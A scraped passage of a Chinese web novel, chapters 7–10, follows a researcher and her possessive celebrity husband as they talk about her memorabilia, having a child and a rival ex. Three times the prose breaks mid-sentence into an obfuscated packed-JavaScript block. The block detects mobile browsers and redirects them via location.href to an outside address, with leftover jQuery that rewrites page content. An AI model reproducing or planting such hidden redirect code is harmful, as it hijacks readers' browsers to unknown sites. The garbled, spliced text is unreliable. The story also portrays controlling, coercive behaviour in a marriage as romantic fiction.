《顶流前夫是病娇》 7. 周边 一周后。 粟娇撑着脸,坐在李施惠办公室的沙发上玩手机,而李施惠戴一副防蓝光眼镜,正在目不转睛地看电脑。 她们行政辅导员坐的是大办公室,粟娇总觉得天热后空气中有股汗味,不爱呆。 学校给李施惠这种研究员配了单间办公室,虽然小,但胜在环境独立,还有落地窗景,李施惠又是个爱干净的人,把办公室打理得一尘不染,粟娇没事,就爱来她这坐着。 李施惠对此没有意见,粟娇坐在那,她反而不那么孤单。 最近基金申报的事情忙完,就要开始抓研究生们的毕业论文了。 目前这批学生是她拿到博导资格后带的第一批研究生,开山大弟子级别,因此李施惠很上心,从选题到写作提供全程指导,甚至连工作去向都认真留意和推荐。 “路新程……怎么还没给我看过初稿?”她自言自语,打开手机找路新程的微信,发现她们的聊天记录一片空白,不禁皱眉。 李施惠手下一共只有六个硕士生,按理说前不久的聊天记录会保存在手机里,她不爱玩手机,想不明白是怎么回事。 “惠姐!”粟娇不知道何时出去,回来时捧着两杯咖啡,献宝一样给李施惠的办公桌也摆了一杯,“尝尝看,S家新出的雪山陨石拿铁,超好喝!” 李施惠的注意力暂时被粟娇吸引,扫了一眼那杯装点得花里胡哨的奶油顶咖啡,有些为难:“我不太喝咖啡……” 她睡眠质量不好,喝过咖啡后更容易失眠。 粟娇没想到这层,极力推荐:“你试试,这杯咖啡因含量很低的,可以当奶茶喝,而且还是江闽蕴代言的哦,我们俩总得支持一下吧。” 她把杯子的正面转过来,是一张江闽蕴拿着咖啡的照片,眼神淡漠而帅气。 李施惠愣愣地看着照片上的他,竟然有种时间飞逝的不真实感,她甚至不记得自己多少年没用过和江闽蕴有关的东西。 不是避嫌,而是不敢。 江闽蕴出道早期,李施惠喜欢收集他拍的杂志和海报。 其实因为他不火,总共也没有多少东西,被她珍藏在百宝箱里,却不知道为什么,还是被江闽蕴发现了。 “李施惠,比起现实中的我,你其实更喜欢的是当明星的我吧?” 那叠被她悉心保养的纸片被江闽蕴随手抓在手里,海报上漂亮的,和现实中毫无差别的脸在他的指缝间扭曲。 “我都喜欢啊,现实中的你和海报上长得没有区别的。”她涨红了脸,有种偷偷追星被正主发现的羞耻,伸手想抢回自己的东西。 她慢慢收集了两年,才攒下这么一小叠。 有几张海报,据说因为没人看都没有印过几份,特别稀有,被江闽蕴毫不爱惜地抓在手里,让她心痛。 江闽蕴比她高太多,又把手举着,李施惠压根够不到。 她急得想哭,“你还给我好不好,因为是你所以我都喜欢啊。” 江闽蕴神色冷下来,表情厌恶:“李施惠,你知不知道,做人不能太贪心?既要又要,全天下哪里有这么好的事。我再问你一遍,要这个,还是我?” 他抖了一把已经被揉得乱七八糟的纸,发出哗啦哗啦的粗粝噪音。 “你!当然是你啊。”李施惠不假思索,去拉他的另一只手,“你别生气好吗?我是因为喜欢你才去收集这些的。” 追星的同学告诉她,明星都很希望粉丝收集自己的周边。 “是吗?”江闽蕴终于露出一个笑,“那把它扔了,我不需要,也不想看到这些。” “好,那我以后不收集这些了。”李施惠点点头,以为自己装得很好,指着边上一个满得要溢出的铁皮桶,“你把它扔到垃圾桶里,然后我们走吧。” 江闽蕴点点头,把那堆纸扔进废弃的垃圾桶里。 那时候他们见面都选在隐蔽的地方,李施惠偷偷记着位置,想等江闽蕴走了就跑回来捡。 她拉着江闽蕴离开,却被揽住肩膀。 “等等。” 江闽蕴揽着她退后一步,李施惠以为他打算离开,却看他从兜里掏出打火机,随便找了个火引点燃扔进垃圾桶。 霎时间,火焰从废弃垃圾桶升起,蓦然升腾的火焰烫热李施惠的眼球。 不! 不…… 李施惠睁大眼睛,张开嘴,想叫停江闽蕴的动作,但知道一切已经是徒劳。 李施惠的心在滴血,眼泪倒映着汹涌的火光。 “别想着回来捡。”江闽蕴早就看穿她的把戏,露出戏谑的表情,掐掐她的脸颊肉,“以后也不要再收集这些东西了。” 他扭过头,冲李施惠温柔一笑,像是受了欺负,委屈巴巴地说:“不然我会吃醋的。” “嗯。”她低着头擦泪,忍不住发出啜泣的声音,“我不会再收集这些了,再也不会了……” 和其他明星们的家不同,李施惠和江闽蕴的家甚至没有江闽蕴的独照,他把无数闪闪发光的奖杯堆在地下室,两层的别墅里摆着的,除了两个人每年结婚纪念日照的一张合照外,只有李施惠的独照。 眼前的火光消失,变成虚晃的影,“惠姐,你怎么了?”粟娇伸出只手在她面前摆动,“哈哈,是不是因为江影帝太帅了,你看呆了啊?” “嗯?”李施惠嗓音有点哑,回过神来,错开盯着江闽蕴照片的方向,“我还是不喝了。”握着有江闽蕴照片的咖啡杯,她真怕自己双倍心悸。 “好吧好吧,我问问办公室的同事,买两杯是为了拿江闽蕴的印签海报,你不要有负担哦。” 她端着咖啡又出去了,李施惠这才放松下来,开始处理路同学的事情。 她发了条微信过去,问对方何时有空,来她办公室聊聊论文进度。 路新程回得很快,说下周三带着初稿来找她,李施惠没问题,见粟娇拿着本小说走进来,想着她或许比自己懂手机,就问了一句:“小粟,你知道为什么微信的消息会突然不见吗?” “嗯?我看看。” 粟娇走过来,想看李施惠的手机,李施惠习惯过去两个月没有江闽蕴微信的日子,一时没多想,让粟娇看她和路新程的聊天记录,“比如我和这个同学,上周还聊过,但是消息突然都没有了,在查找聊天记录里也不见了,这是什么原因呢?” 粟娇说:“你删了和他的聊天框吗?删掉聊天框会把消息都清空。”她咬着吸管又想,“也有可能是你清理手机的微信内存了?不过如果是这个原因,你微信里的所有聊天记录都会消失才对。” “好像都没有啊。”李施惠怕耽误事,还在回忆,没注意粟娇已经点击返回键,下意识上划一道,一下滑到最顶端,“你和其他人的聊天记录还在吗?” 看见置顶,粟娇愣了一下,李施惠眼疾手快把手机锁上,磕磕巴巴:“还……还在。” 她的心跳要跳到嗓子眼,意识到自己和江闽蕴的聊天框被粟娇看见了。 粟娇也知道看别人聊天记录不太礼貌,“不好意思啊姐,我下意识划了。” 李施惠一时头脑混乱,她还没做好公开的准备,只好恳求对方,“你……你能不能别说出去?” “噗,什么啊。”粟娇笑起来,“是说你和姐夫结婚以后还很腻歪的事情吗?放心啦,这有什么,我不会说出去的。” “什么?”现在轮到李施惠迷茫, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15875207|176275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她打开微信,发现置顶的“江闽蕴”三个字被江闽蕴不知何时改成“宇宙超级无敌唯一爱的老公”这种让她肉麻到难受的称呼。 难怪粟娇不知道他是谁。 “哦,是……”李施惠舒口气,背后差点汗湿,脸慢慢变热,“呃,他改的。” 粟娇一副看透不戳破的表情:“好啦,姐夫改的,我知道是姐夫改的。不过,姐夫的头像竟然和江闽蕴的微博头像一样诶,这个头像好像他从来没变过哦,啧啧。” 她新做长甲的食指轻轻点着李施惠办公桌,发出“哒哒”声响,“惠姐对江影帝爱得深沉啊,不会是你逼着人家换的吧。” 江闽蕴的微博头像是一张低像素古早滤镜的怼脸拍大头照,年轻的他穿着高领白毛衣坐在书桌前,脑袋蜷在臂弯里,黑而亮的眼睛注视着镜头。 江闽蕴从注册微博起就用的是这张,后来又成为他全平台的头像,所以十分好认。 李施惠知道自己跳进黄河也洗不清了,闭着眼睛没办法地认下:“嗯,是。” “那要不要这份海报送你呀?我其实买了六杯咖啡。”粟娇拿着一叠海报要送李施惠,“你说他怎么就不老呢,感觉二十岁和三十岁没差别诶,演技好还英年早婚。你记得吧,上次我不是遇见他?简直帅呆了好伐?戴着口罩,只露双眼睛,比海报上还帅。” “不,不用了。”李施惠发现自己还是没法抵抗海报的魅力,留恋地摸了摸,又还给粟娇。 粟娇看她一副不舍的样子,吐槽:“怕姐夫吃醋啊?姐夫都换影帝同款头像和你聊天了,一张海报而已啦,他会原谅你的。” 凑近她,低声调侃:“你只是犯了全天下女人都会犯的错,没事的。” 笑了一阵,不知想到什么,感叹:“哎呀姐,你说我的爱情到底什么时候才能来呢?” 粟娇愤愤不平吸了一大口咖啡,“我们至承哥哥吃完那顿饭,就回m国了。异国真的好累啊,你是不知道,有一次我等他回消息等了两天,结果对方说句‘忙,忘了’就没有后续了,你们做老师的能忙到两天不回消息吗?” 自上次和林至承吃饭后,李施惠和他也没有任何联系了,并不知道林至承回国的事,想到过去两个月和江闽蕴错时差的短信,迟疑地点点头:“可能最近是比较忙?” “哼,这次我就宽宏大量原谅他,下次得让他给我赔罪!” 粟娇其实要的就是周围人的一句肯定。她对林至承的热情还没有褪去,若是有人泼她冷水,她也不会放弃。 她放下咖啡,仰起头对着灯光欣赏自己的指甲:“你说我都快二十六了,不缺钱不缺漂亮的脸蛋,怎么就没有大好青年和我共浴爱河圣光?” 李施惠一时没心思工作,用起身去饮水机接水的空档和她聊:“二十六岁还很年轻呀。你上次还跟我说,学院不少男博士生也是单身,没有合适的吗?” 饮水机咕嘟出水的声响里混着粟娇娇俏的嗓音。 “看不上看不上。那些博士还没工作,等他们出了学校就好找了呀,再穷都有人上赶着。和我们女孩子又不一样,年纪越大越难找,尤其我就想找又帅又有钱的。” 粟娇有时候感觉李施惠挺天真,掰着指头给她算,“惠姐,你想想,二十六找对象,总要谈两年摸摸底吧?然后领证呀,新房呀,办婚礼呀,这些事得提前一年定吧?等住进新房,就要开始备孕,到我生小孩,都快三十了,再大点生产就有风险了哇!” 粟娇说话一急就带点本地腔,李施惠被她算得头晕,晃晃脑袋,想着她们无非差五岁,婚恋观竟然天差地别,一时怀念地感慨: “我本科还没毕业,什么都没有的时候就结婚了。” 8. 备孕 粟娇一脸讶异,压根不信:“亲爱的李小姐,你怎么能把嫁给富二代说得那么朴实,如果你每天穿的衣服不是当季新款,我就信了你的邪。” 李施惠笑:“不骗你,他比我大一岁,我……我大四那年,他和我领的证。” 不知道是因为江闽蕴生了场病,还是她提了离婚,经历风浪后的这两周,李施惠明显感受到和江闽蕴感情的升温,直接表现就是她笑起来的次数都多了,对以前的一些事也不介意了。 “没办婚礼?” “没有。” “没买房?” “没有,那时还住在出租屋里。” 后来江闽蕴把他们住过的出租屋买下来了。 粟娇啪啪鼓掌,“原来姐夫是白手起家,你也真是勇气可嘉,千万分之一的概率,被你赌对了。” 李施惠内心难得感到一丝甜蜜,结婚这么多年,除了粟娇,她鲜少和别人分享自己的婚姻。 粟娇的注意力也被李施惠神秘的另一半吸引,她们学院会在寒暑假组织公费疗休养或者家属日活动,但李施惠要么单独出现,要么直接请假,没有人见过她的丈夫。 她转念看着李施惠,吸了口咖啡,好奇道:“惠姐,你也快三十了,不打算和姐夫生个小公主或小王子?”想着李施惠不喝咖啡,坏笑:“哦,是不是已经在备孕,才不喝咖啡的?” 李施惠联想到过去一周的夜晚,有点脸红,语气遗憾:“有想过,但……一直没有。” 这就是个敏感话题了,粟娇识趣地岔开话茬,笑着说:“没事儿,缘分马上就到了,我现在就想找个至承哥那样的帅哥生个小猴子呢。” “好。”李施惠手指蜷起,陷入沉思,“等中期考核后再说吧。” 明城大学的非升即走是“3+3”的签约模式,在第三年设置青年教师的中期考核,虽然没有强制性的开除比例,但没达到中期标准的教师在之后三年必然压力陡增。 李施惠做牛做马干了三年,大成果没出,小成果还是攒了一点,度过中期考核问题不大 她想,是时候要和江闽蕴考虑下一代的事情了,年纪再大一点,可能就有风险? 想到自己会有一个长得像江闽蕴的漂亮孩子,李施惠心底软成一片。 “在想什么?”晚餐时,江闽蕴贴着李施惠坐在餐桌一侧,倾身看向她,唇离她的耳朵很近,“最近工作压力很大?还是发生什么事了?” 李施惠耳朵一酥,才发觉自己竟然想备孕的事情想了这么久,咬着筷子浅浅笑:“没有,我今天和朋友聊到备孕的事情。”她期待地看他一眼,“你怎么想?” 江闽蕴拿着筷子的右手小幅动了动,没人注意。 他左眼下的红痣笑得颤,逗她:“我们不是一直没做措施吗,指不定现在你已经有了,要不,待会测测?” 顿一下,又补充:“如果没有,我今晚再努力努力?” 李施惠的耳尖顿时烧起来,露出羞涩的笑意。 因为一段寄人篱下的经历,李施惠在结婚后迫切地想要个孩子,她打心眼里认为,只有三口之家的生活才算完整。 那时江闽蕴已经开始忙起来,但还是承诺她想要就要,他能养得起。 此后很多年,他们没有避孕过,只是不知道为什么,一直没有怀上。这几年她博士毕业进入明城大学任教,忙得兵荒马乱,对这件事的态度变得随缘。 粟娇的点拨,让李施惠备孕的心思再次草长莺飞。 李施惠摇摇头:“其实,我是想去医院检查一下身体。”她知道江闽蕴不方便,拉着他的左手解释:“我是说我自己,这么多年了没有动静,真的挺奇怪的……” 她没有怀疑江闽蕴,是因为对方作为艺人,对身材和健康的管理一直非常严格,而且从那方面的能力来看,也完全不像有问题的样子。 江闽蕴低头很自然地吃了口饭,压住心头想呕吐的冲动:“不是有家庭医生?在家看就行。孩子么,强求不来。” “不一样,要做超声检查和造影什么的。”李施惠给江闽蕴舀了碗汤,放到他手边,“万一要打促排卵针,很麻烦。” 江闽蕴点点头:“我陪你去吧,我知道有家私人医院不错。” “好。”李施惠眼睛亮亮的。 于是这个话题暂告一段落。 饭后,李施惠在书房看论文,江闽蕴站在二楼的阳台吹风,垂头观赏楼下被物业精心养护的大片郁金香。 一只脏兮兮的高大野狗追着一只皮毛雪白的小型品种犬闯进这里,把对方扑倒,在纯洁的郁金香海里颠鸾倒凤,难舍难分。 画面甚是低俗。 为什么世界上会有那么多贱种呢? 李施惠不是科学家吗?每天做研究,有没有研究过这个问题? 只有高中文凭的江闽蕴撑着脑袋深沉地想,有没有可能是因为贱种的血液里就带着下流卑劣、自私自利的基因,所以你无论怎么教育它,怎么感化它,怎么装点它,都不会有任何改变, 相反,这样的基因还会无比顽强,以至于代代相传,延绵不绝。 贱种怎么有资格活着? 他盯着那两只发了情的畜生,给物业发消息。 物业响应速度很快,来赶狗的时候,两只狗死活分不开。 品种狗的主人也跟着来了,捂着嘴在那劝:“你们不要吓他们!让他们自己分开!我家雪雪会受伤!” 江闽蕴靠在那,好整以暇地看完全程,野狗最后被抓走的时候,还在冲小白狗狂吠。 有用吗? 只会叫的狗东西。 滚吧。 隔了会,他从口袋里掏出手机,输入“促排卵针”四个字。 李施惠坐在书房里,没有关门,电脑边的手机屏幕忽然闪动,是短信提醒,和江闽蕴短信沟通后,她就没有关闭这个功能。 她点开一看,是林至承发来的消息。 上次见面后,她把人从黑名单里放出来。 对方给她发了一个链接,关于m国某个大牛课题组招博后的消息,大牛和林至承以及他的导师似乎交情匪浅,林至承给她留言:“和在普通一本做普通老师的人生相比,来m国做Ramesh的同事一定更具有挑战性,未来一定会是Embodied Intelligence的天下。” 李施惠哪里够格,看着“两个一定”的消息哑然失笑,刚想回复拒绝的话,就听见门外仓促的脚步声。 然后是呕吐声。 李施惠扔下手机往外跑,就看见江闽蕴狼狈地趴在公共浴室的洗手池边呕吐,整个胃囊似乎都要倾倒出来。 “老公,你怎么了?” 她走上前揽着他的肩膀给他拍背,另一只手揉着他不太柔软的腹部,还能感受到肌肉下的阵阵抽动,李施惠心痛地皱眉,等江闽蕴的反胃感平息,她用温水给他漱了口擦了脸,慢慢扶到沙发上坐着。 “我去拿手机叫医生过来看看?”李施惠难受地亲吻他的侧脸安抚他,前段时间他晕倒在她面前的样子还历历在目,如今又莫名其妙呕吐,让她特别心疼。 江闽蕴的身体一向非常健康强壮才对啊。 “不……陪我坐会,缓缓就好。” 江闽蕴难受地摇摇头,拉住她,像是骨头都被抽掉似的倒在李施惠身上,从很多年前开始,他习惯在感到痛苦的时候靠着她。 当一个快冻死的人抱住太阳,下一秒烧成灰也想乞得这一刻的光热。 李施惠把手伸进他的衣服,用热而软的掌心轻轻揉按他的胃部:“怎么突然吐了,是不是你在家的时候没穿够衣服着凉了?” “待会我牵着你下楼煮杯姜茶怎么样?” 她在他耳边絮絮叨叨。 江闽蕴一直没说话,头靠在她胸前缓解痛苦,突然打断:“你为什么突然想要孩子?” 李施惠没有多想,以为这只是一场闲聊,抱着他幻想,顺便转移他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15875208|176275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的注意力:“你不觉得我们的孩子会很可爱吗?而且会像你一样英俊可爱。” 不觉得。 也不可能长得比我更好。 江闽蕴的胃还在抽疼,像是被长长的针管穿透身体。 网页的图片让他回想到那个闷热的夏天,混乱的诊所,一滩干掉的血里脏污的针管和镊子,他跪在地上,天旋地转。 李施惠还在说:“我们可以一起陪ta长大,带ta去看你的电影,教ta写作业,我们一起去旅行……” 江闽蕴拉着她的手,不满意李施惠的回答:“听起来,你对ta比对我还要好。” 你应该把孩子扔给保姆和家庭教师,喂ta的东西先喂我,和我单独去旅行,两个人包场看我的电影。 李施惠摸着他侧脸紧致的皮肉,温柔地笑:“什么话呀,因为这是我们的孩子啊,我们都要对ta很好很好,最好,特别好!” 她用世界上最澄澈的眼睛和他对视:“有了ta,我相信我们会更幸福!” 江闽蕴仰着脸看她,表情平静,却想,我为什么总是一而再再而三地放任你呢? 他翻了个身,回抱住李施惠:“可是如果真的要打针怎么办?” 这是我给你的最后一个机会,你想好再回答。 你见过那种针吗?非常长,非常粗。 你愿意为了一个劣等基因,扎上几十上百针吗? “没关系。”李施惠用手梳理江闽蕴的碎发,“如果真的要打针,我也会做好准备的。看在我们都很爱ta的份上,ta肯定愿意来到我们身边。” 她笑得一脸天真。 一瞬间,江闽蕴恨李施惠。 什么啊,她凭什么认为他会爱一团什么都不是的肉? 而她又怎么能爱一个什么都没有付出过的东西? 还没有被生产出来的一团肉,竟然就能凭空得到如此多的优待和爱,那他算什么呢? 算李施惠为了达成目的而利用的工具? 到嘴边的话,突然就不想说出口了。 去对一个永远不可能出现的东西最好吧。 江闽蕴陪着她笑,依偎她,手轻柔地托起她的后脑勺,仰面与她接吻。 不是要认真制造吗? 可以。 江闽蕴翻了个身,在二楼的沙发里吃了这一天的第一顿饱餐。 李施惠满脸汗湿,温顺地迎合他。 江闽蕴兴致不高,让她舒服后就停下来,把人抱回卧室。 “胃还有不舒服吗?”李施惠昏昏欲睡,不忘关心他,手搭在他的腹部。 爽完了才想起来问? 万一他做到一半吐她身上了怎么办? 还是说,这种关心只是他勤奋耕耘的赏赐? 以后要是小孩有事,他就算在边上病死了也无人在意吧。 “你关心我啊?” 他躺在李施惠身边,心里下暴雨。 李施惠没品出他的讽刺,揉按他的腹部:“当然啊。” 想起件事,摸过手机打了几个字,给江闽蕴看。 “这是他给我发的消息,我已经拒绝了,我和他只是同行,以后你不准再误会了。” 李施惠像只摇着尾巴的小狗,在他耳朵边汪汪汪汪汪。 屏幕都要怼到他鼻尖。 接过手机,看见李施惠回复林至承:“谢谢你,因为有生育的计划,近期不打算出国了。” 林至承还没有回复。 云销雨霁。 江闽蕴盯着生育两个字,晃神,答非所问:“胃不疼了。” 李施惠懒得和江闽蕴这时不时发神经的猫科动物计较,翻个身,闭上眼睛。 “睡觉。” 江闽蕴拖过她的腰,从背后挠她,一定要她给个回应。 “胃不疼了。” 李施惠只好又翻过来,拿江闽蕴没办法似的扯住他的耳朵,对着他的耳朵喊:“快睡觉!” 9. 朋友的事 休假结束后的第一周,江闽蕴去京市拍广告。 李施惠回到空荡的家,一个人吃阿姨烧的辣味的菜,竟然不习惯这样的生活。 点开“宇宙超级无敌唯一爱的老公”的对话框,李施惠不知要发什么,写写删删后只剩“我想你了”四个字,还在纠结要不要发,“宇宙超级无敌唯一爱的老公”心有灵犀地发来一条消息:“想你了。” 李施惠抱着手机微笑,删掉最后三个字,写:“我也是。” 发出。 手机在下一秒震动起来。 来自“宇宙超级无敌唯一爱的老公”的视频通话。 江闽蕴坐在化妆间里,头发被染成金色,专注地看着她:“在做什么?” 李施惠简单汇报今天的行程,因为轻微近视的缘故,她的脸微微贴近屏幕,被江闽蕴的新发型迷住,赞美:“你的造型好帅啊。” 像二十岁。 十多年了,粟娇说得没错,江闽蕴真的一点不老。 他拍平面出道,那时候什么乱七八糟的发型都做过,反而是成名后有了选择权,日常只喜欢普通的黑碎发,李施惠没什么审美,看他这样挺好。 不发疯的时候甚至很像一个好学生。 江闽蕴不自然地摸了摸用发胶定型的头发,“这个只是一次性的,你希望我以后染这个发色?” 李施惠摇摇头,“染发对头皮不好吧?” 她抬手揉了揉鼻子,四月中旬,正是满城柳絮飘飞的季节,鼻炎患者李施惠因为忘带口罩而轻易中招,习惯时不时就揉揉鼻尖。 江闽蕴隔着屏幕,视线聚焦在李施惠被揉红的鼻尖:“偶尔一次没什么不好的。最近鼻子有不舒服吗?” 当年李施惠的鼻子因为手术不当鼻腔感染,修复后就落下鼻炎的毛病。 “没有,只是鼻炎犯了。”李施惠坐在书房,把手机放在支架上,翻日程表,“我预约了明天上午去医院检查。” 江闽蕴知道她说的是什么事,有些烦躁:“不是说了我回来陪你去?” 李施惠不想麻烦他,刚想开口,江闽蕴身后的化妆间门突然被打开,小方拿着另一部手机走进来:“江哥,辛玉姐的电话。” 李施惠一愣。 江闽蕴立刻挂断视频电话,给她发了条消息:“临时有事,等下回拨。” 她想回个“好”字,只打出“h”,指尖如触电般一跳,按下删除。 如果她没听错,小方说的是,梁辛玉? 上次吃饭后,江闽蕴和她还有联系? 联想到江闽蕴隐瞒她和梁辛玉吃饭的事情,李施惠攥着手机,心烦意乱。 微信突然弹出消息。 素粟粟米:惠姐!重大进展,至承哥本周回国开会^^。 在李施惠的世界里,对感情有研究的恐怕只有粟娇一人。 仿佛看到救星,她左思右想,发消息过去:“可以请教你一个感情问题吗?” 粟娇秒回。 素粟粟米:“请讲。” 惠:“你说,会有人对另一个人念念不忘十多年吗?” 素粟粟米:“当然会啦。” 李施惠还想接着打字,还没想好怎么问,对方又发来一条。 素粟粟米:“你知道我是怎么知道至承哥是处男的吗?” 惠:“?” 对面正在输入显示了十多分钟,李施惠就盯着屏幕十多分钟。 素粟粟米:“我之前打听过,他m国的博士同门说,他有个爱而不得的初恋,也许是刚上大学那会的事,两个人没在一起。反正就因为那个人,他一直单身到现在,我就喜欢这种痴情专一又洁身自好的男人,嘻嘻。” 惠:“他心里有别人,你也喜欢他?” 发完觉得不妥,这不正是她自己的写照? 想撤回,粟娇手速快,又发来一段话。 素粟粟米:“多少年过去了,惠姐,咱们要现实一点,大把矮矬穷心里也有别人呢,高富帅只有这么一个缺点,我完全能接受。” 惠:“那万一有一天,他和你在一起,但是念念不忘的那个人回头找他,怎么办?” 素粟粟米:“你好悲观哦,十多年了,要回来不早回来了?不过,如果是我的话,我肯定让他吃两个大耳光然后再要一大笔青春损失费,嘻嘻。” 对,十多年了,要回来,不应该早就回来了? 想起那个阴沉午后,因为途中暴雨而迟到的补课,李施惠走进江闽蕴窄旧的出租屋,看他像看小丑一样扫视淋成落汤鸡的自己,用一句莫名其妙的话嘲讽她:“爱上一个和你不同世界的人,是没有结果的。” 后来她才知道,那天,梁辛玉出国了。 粟娇又发来一条消息。 素粟粟米:“补充:除非他的初恋是像梁辛玉那样的大美女,不然不选我就是他眼瞎!” 李施惠终于知道何为扎心的感觉。 打起精神处理掉工作,李施惠本想边看书边等江闽蕴的电话,却被时不时想拿起手机的冲动干扰着注意力。 把书放下。 手机推送来一则娱乐新闻:梁辛玉国内首秀!京市国际时装周开幕速览>>> 李施惠发誓自己完全不关注娱乐新闻,看到向来也是点叉。 点进这条新闻纯属手滑。 看到首图并放大纯属误触。 她望着梁辛玉明艳大方又神色冷然的脸,不得不承认,粟娇说得是对的。 梁辛玉那样的大美女。 锁上屏幕,心境仿佛回到十七岁,每次远远眺望操场上两个人相偕而去的背影,坐在窗边上课的李施惠就会产生没由来的羡慕与自卑。 李施惠想,这么多年风雨,是他们一起走过,她应该先听江闽蕴的解释,而不是选择怀疑他。 即使是梁辛玉,也会有例外的时候吧。 等江闽蕴回来,她们可以坐下来敞开心扉聊一聊。 屏幕再度亮起。 林至承那条短信的回复姗姗来迟。 “见面聊后再做决定吧。” “还是说,已经有了?” 她点进和林至承的聊天页面,点开那条链接,是Ramesh教授的学术主页,这位在机器人界最负盛名的教授任职于MIT,也是林至承的博士母校。 的确是个巨大的诱惑。 李施惠自嘲一笑。曾经她只会一个劲读书,也是受了挫折,才慢慢悟出关系、导师和平台这些灰色的,不会放在课堂里教的法则。 为什么选他不选你,难道对方一定比你聪明?比你优秀? 无论国际国内,学术界都是由复杂的关系网构成的。 就算追求纯粹,也总有人比你更纯粹。 想着几个月后的中期考核,想着三年后的何去何从,去Ramesh教授的团队读博后,肯定能给她带来更好的机会。 李施惠的心中有一杆天平,左边是家庭、孩子和江闽蕴,右边是工作、梦想和继续深造。 和江闽蕴结婚的第二天,她拒绝了去藤校全奖读博的offer,如今,天平的左边再次压倒性战胜右边,李施惠叉掉了教授的学术主页。 再次拒绝林至承:“谢谢你,真的不用了。” 不要见面,不要聊天,李施惠想,自己会争取到长聘副教授的资格,然后等一切都稳定下来的那天,她可以申请去m国做学术访问。 一个人的人生有很多种活法,但她只想和江闽蕴在一起。 她开始思考明天去医院检查的事,眼皮越发沉重。 直到李施惠睡去,她也没有等到江闽蕴的回拨来电。 —— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15875209|176275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粟娇收到李施惠的消息后,还挺好奇,她眼中的李施惠一直是个心无杂念的单纯理工女,有一天突然问她有关感情的伤感话题,让她想了一晚上,也没想出个所以然。 难道,惠姐夫的初恋回来了? 这个念头简直让她没法入睡,在粟娇的幻想中,惠姐夫应该是个经常不在家的空中飞人,职业是霸道总裁,能让惠姐这么多年不问世事地醉心科研,十指不沾阳春水。 结果现在半路杀出个初恋白月光,粟娇只在小说里读过这种狗血剧情。 保护惠姐婚姻,恋爱专家粟小姐义不容辞! 粟娇忙完一上午的杂事,用中指推了推鼻梁上不存在的眼镜,就顶着熊猫眼杀去了李施惠的办公室。 李施惠也一副没睡好的憔悴模样,桌上摊着几张纸。 她今天去医院检查,无论是超声、激素还是造影都显示没有任何问题。 医生仔细研究检查结果,问她:“备孕几年了?二十九岁卵巢的水平还是很健康的。” “从结婚到现在八年,我们没有做过避孕措施。” “啊?”医生不可置信。 李施惠绞尽脑汁想没有怀上的原因:“他偶尔会抽烟,这有影响吗?” 医生斟酌:“不大,但最好戒烟。” “性生活频率怎么样?” 李施惠脸红:“一周大概三四次。” “挺不错的,时间呢?” 李施惠报了个时间,对方记录的手一顿:“看起来没什么问题啊,如果可以,让男方来检查一下吧,找不到问题的话,我会建议打促排卵针。” 头顶升起一片乌云,李施惠心情低落地坐在办公室,她想给江闽蕴打个电话,对面接通后,传来的却是助理小方的声音。 “惠姐……江哥还,还在拍摄,我待会让他给你回电话。” 她没注意到对方的紧张的语气,沉浸在自己的世界里,叮嘱小方,如果江闽蕴拍完戏,让他立刻给自己回电话。 临挂电话前,李施惠唇动了动,问他:“昨天,是梁……”是梁辛玉给江闽蕴打电话吗? “惠姐,现在方便吗?”粟娇就在这时推开门,见李施惠在打电话。 对方见到她,对那头说了句“没事了”后把电话挂断。 “什么事?” 粟娇看见李施惠满脸郁色,小心翼翼瞄眼桌上医院的诊单:“惠姐,你还好吗?” 李施惠想表达自己的感受,却找不到任何一个能够形容此刻心情的形容词。 郁闷,孤独,伤心,不安,怀疑,像大熔炉一般混合的心情,抽干成此刻让她呼吸困难的真空。 “不太好。”她扶着额头,说不清到底是怎么了。 江闽蕴在演艺圈混了那么多年,遇到过不少狂蜂浪蝶,有人跟踪到他们的家,甚至赤身裸体躺在他们的卧室里,也有人给江闽蕴的手机发露骨的图片和短信。 因为这些事,江闽蕴换过房,换过手机号,后来自己请了个安保团队保护隐私。 有时候李施惠想,或许江闽蕴没有像她对他的爱一样那么爱她,但相识十多年,李施惠从不认为对方是一个没有责任感的人,也不认为江闽蕴会做出出轨的事情。 她在消沉什么呢? 粟娇拉了把椅子,坐到她身边:“惠姐,如果你想,你可以和我说说,我朋友都说我是情感专家呢……” 她可以说吗? 李施惠没有向任何人说起过和江闽蕴的故事。 她暗恋的初恋的爱情的唯一。 纠结半晌,她还是决定用迂回的方式描述。 “不是我……是我有一个朋友……” 身边传来粟娇扑哧一笑。 李施惠不好意思地看向她,粟娇压着嘴角摆手:“没事,你朋友的事……我也愿意帮忙。” 10.翻脸 李施惠的故事,在粟娇看来十分套路。 